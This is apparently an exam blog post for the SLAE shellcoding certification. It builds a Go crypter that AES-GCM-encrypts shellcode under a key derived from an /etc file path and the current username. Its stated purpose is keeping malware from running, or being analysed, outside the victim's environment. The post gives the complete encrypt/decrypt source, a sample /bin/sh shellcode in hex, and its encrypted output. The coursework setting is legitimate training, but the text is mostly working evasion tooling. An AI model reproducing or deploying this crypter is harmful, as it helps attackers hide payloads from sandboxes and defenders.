SLAE 7: Creating your own crypter using golang


Programming / January 27, 2020 • 4 min read

Tags: slae shellcoding


In this article, we will build a simple crypter for encrypting and decrypting shellcode. I chose to implement the crypter in Go using environmental keys.

I will not spend time implementing a fancy shellcode execution method in this article, only encryption and decryption methods are in scope for now.

Encryption

The encryption/decryption process is using AES GCM and a specific file in /etc/ concatenated with the current user logged in as the key. This is called Environmental Keying, meaning you use specific values found in the victim’s environment such as files, hostname or users. The purpose of this is to make sure that your malware only executes in a specific environment. This means the attacker needs to know some details about the environment before encrypting any shellcode.

Analysing the shellcode will be difficult because the correct environment values are needed in order to successfully decrypt the shellcode. Relying on dynamic analysis in a sandbox is futile because of this reason.

The specific values that I have chosen for the key is the file path /etc/vmware-tools/scripts/vmware/network and current logged in user. The final key will look like this: /etc/vmware-tools/scripts/vmware/networkdubs3c.

The following example encrypts a simple shellcode that executes /bin/sh:

dubs3c@slae:~/SLAE/EXAM/github/assignment_7$ go run main.go -e -s "\xfc\xbb\x1b\x91\xcd\xc8\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x2a\x43\x9f\xa0\x22\x4c\x53\x59\xd2\xbd\xbc\xfb\x4b\x4b\x21\xca\x42\x7a\x66\x9d\x5f\xb0\xe6\xde\x5f\x4a\xe7\xde"
[+] Your encrypted shellcode: 5af9fb00a2147e12ba73c2686b1b25fac3f441ffcb6974b00ec7413208dc749dae128faf67a5db80fe868dc2386e30546409503beb9ea6973441dc0ace3b35563550e3041fdde2c234b7dbd36ce74f1653ac08ec3be1f6fac3dd6fc34b378477bf6a5acf7800d01ee1c9280d8f6e2ccb8b13f517e790cc6d6623df9b1ced1dc1ebd8df2caca412f6f9d8233bd233fd6c590b12211f0706fc18dca864e97908df4eb638c8b223afc57d59714db119a0075dc935a65a38b4fe175fc15ad2b03125303b98c991ac01238f61c10f444bd85ad081fe2d097f816345e2ab98436cae10033c1cd870502608eac6a3149688b992
dubs3c@slae:~/SLAE/EXAM/github/assignment_7$

Decryption

The decryption function will loop over all files and folders in /etc/ and try each file path as the key together with the current username. When the correct key is found, the shellcode is decrypted.

Decrypting shellcode:

dubs3c@slae:~/SLAE/EXAM/github/assignment_7$ go run main.go -d -s "5af9fb00a2147e12ba73c2686b1b25fac3f441ffcb6974b00ec7413208dc749dae128faf67a5db80fe868dc2386e30546409503beb9ea6973441dc0ace3b35563550e3041fdde2c234b7dbd36ce74f1653ac08ec3be1f6fac3dd6fc34b378477bf6a5acf7800d01ee1c9280d8f6e2ccb8b13f517e790cc6d6623df9b1ced1dc1ebd8df2caca412f6f9d8233bd233fd6c590b12211f0706fc18dca864e97908df4eb638c8b223afc57d59714db119a0075dc935a65a38b4fe175fc15ad2b03125303b98c991ac01238f61c10f444bd85ad081fe2d097f816345e2ab98436cae10033c1cd870502608eac6a3149688b992"
[+] Decrypted shellcode: \xfc\xbb\x1b\x91\xcd\xc8\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x2a\x43\x9f\xa0\x22\x4c\x53\x59\xd2\xbd\xbc\xfb\x4b\x4b\x21\xca\x42\x7a\x66\x9d\x5f\xb0\xe6\xde\x5f\x4a\xe7\xde
dubs3c@slae:~/SLAE/EXAM/github/assignment_7$

Final code

Below is the final program for encrypting/decrypting shellcode.

  1package main
  2
  3import (
  4    "crypto/aes"
  5    "crypto/cipher"
  6    "crypto/rand"
  7    "crypto/sha256"
  8    "encoding/hex"
  9    "flag"
 10    "fmt"
 11    "io"
 12    "os"
 13    "os/user"
 14    "path/filepath"
 15)
 16
 17type cliOptions struct {
 18    encrypt   bool
 19    decrypt   bool
 20    shellcode string
 21}
 22
 23func processArgs() cliOptions {
 24    opts := cliOptions{}
 25    flag.BoolVar(&opts.decrypt, "decrypt", false, "Decrypt your shellcode")
 26    flag.BoolVar(&opts.decrypt, "d", false, "Decrypt your shellcode")
 27    flag.BoolVar(&opts.encrypt, "encrypt", false, "Encrypt your shellcode")
 28    flag.BoolVar(&opts.encrypt, "e", false, "Encrypt your shellcode")
 29    flag.StringVar(&opts.shellcode, "shellcode", "", "Your shellcode")
 30    flag.StringVar(&opts.shellcode, "s", "", "Your shellcode")
 31    flag.Parse()
 32
 33    return opts
 34}
 35
 36func init() {
 37    flag.Usage = func() {
 38        h := "\nEncrypt your shellcode! Very nice! Made by @dubs3c.\n\n"
 39
 40        h += "Usage:\n"
 41        h += "  cyrptoBoot [shellcode] [options]\n\n"
 42
 43        h += "Options:\n"
 44        h += "  -e,  --encrypt      Encrypt shellcode\n"
 45        h += "  -d,  --decrypt      Decrypt shellcode\n"
 46        h += "  -s,  --shellcode    Shellcode\n"
 47        h += "  -v,  --version      Show version\n"
 48
 49        h += "\nExamples:\n"
 50        h += "  cryptoBoot -e -s \"<shellcode>\"\n"
 51        h += "  cryptoBoot -d -s \"<shellcode>\"\n"
 52
 53        fmt.Fprintf(os.Stderr, h)
 54    }
 55}
 56
 57func encrypt(shellcode string, envKey []byte) (encryptedShellcode []byte, err error) {
 58    plaintext := []byte(shellcode)
 59
 60    block, err := aes.NewCipher(envKey)
 61    if err != nil {
 62        panic(err.Error())
 63    }
 64
 65    // Never use more than 2^32 random nonces with a given key because of the risk of a repeat.
 66    nonce := make([]byte, 12)
 67    if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
 68        panic(err.Error())
 69    }
 70
 71    aesgcm, err := cipher.NewGCM(block)
 72    if err != nil {
 73        panic(err.Error())
 74    }
 75
 76    ciphertext := aesgcm.Seal(nil, nonce, plaintext, nil)
 77    ciphertextWithNonce := append(nonce, ciphertext...)
 78    encodedCiphertext := make([]byte, hex.EncodedLen(len(ciphertextWithNonce)))
 79    hex.Encode(encodedCiphertext, ciphertextWithNonce)
 80    return encodedCiphertext, nil
 81}
 82
 83func decrypt(ciphertext string, envKey []byte) (plaintext []byte, err error) {
 84    ciphertxt, _ := hex.DecodeString(ciphertext[24:])
 85    nonce, _ := hex.DecodeString(ciphertext[:24])
 86
 87    block, err := aes.NewCipher(envKey)
 88    if err != nil {
 89        return []byte{}, err
 90    }
 91
 92    aesgcm, err := cipher.NewGCM(block)
 93    if err != nil {
 94        return []byte{}, err
 95    }
 96
 97    plaintxt, err := aesgcm.Open(nil, nonce, ciphertxt, nil)
 98    if err != nil {
 99        return []byte{}, err
100    }
101
102    return plaintxt, nil
103}
104
105func main() {
106
107    if len(os.Args) <= 1 {
108        flag.Usage()
109        os.Exit(0)
110    }
111
112    opts := processArgs()
113
114    currentUser := &user.User{}
115    currentUser, err := user.Current()
116    envPath := "/etc/vmware-tools/scripts/vmware/network"
117    envKey := sha256.Sum256([]byte(envPath + currentUser.Username))
118
119    if opts.encrypt {
120        if opts.shellcode == "" {
121            fmt.Println("[-] Please specify your shellcode")
122            os.Exit(1)
123        }
124
125        ciphertext, err := encrypt(opts.shellcode, envKey[:])
126        if err != nil {
127            fmt.Println("[-] Something went wrong encrypting your shellcode. Error: ", err)
128            os.Exit(1)
129        }
130
131        fmt.Printf("[+] Your encrypted shellcode: %s\n", ciphertext)
132        return
133    }
134
135    if opts.decrypt {
136
137        if opts.shellcode == "" {
138            fmt.Println("[-] Please specify your encrypted shellcode")
139            os.Exit(1)
140        }
141
142        encryptedShellcode := opts.shellcode
143
144        err = filepath.Walk("/etc/", func(path string, info os.FileInfo, err error) error {
145            envKey := sha256.Sum256([]byte(path + currentUser.Username))
146            plaintext, err := decrypt(encryptedShellcode, envKey[:])
147            if err != nil {
148                // Disregard errors
149                return nil
150            } else {
151                fmt.Printf("[+] Decrypted shellcode: %s\n", plaintext)
152            }
153            return nil
154        })
155
156        if err != nil {
157            fmt.Printf("error walking the path %q: %v\n", "/etc/", err)
158            return
159        }
160    }
161}

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

https://www.pentesteracademy.com/course?id=3

Student ID: SLAE-1490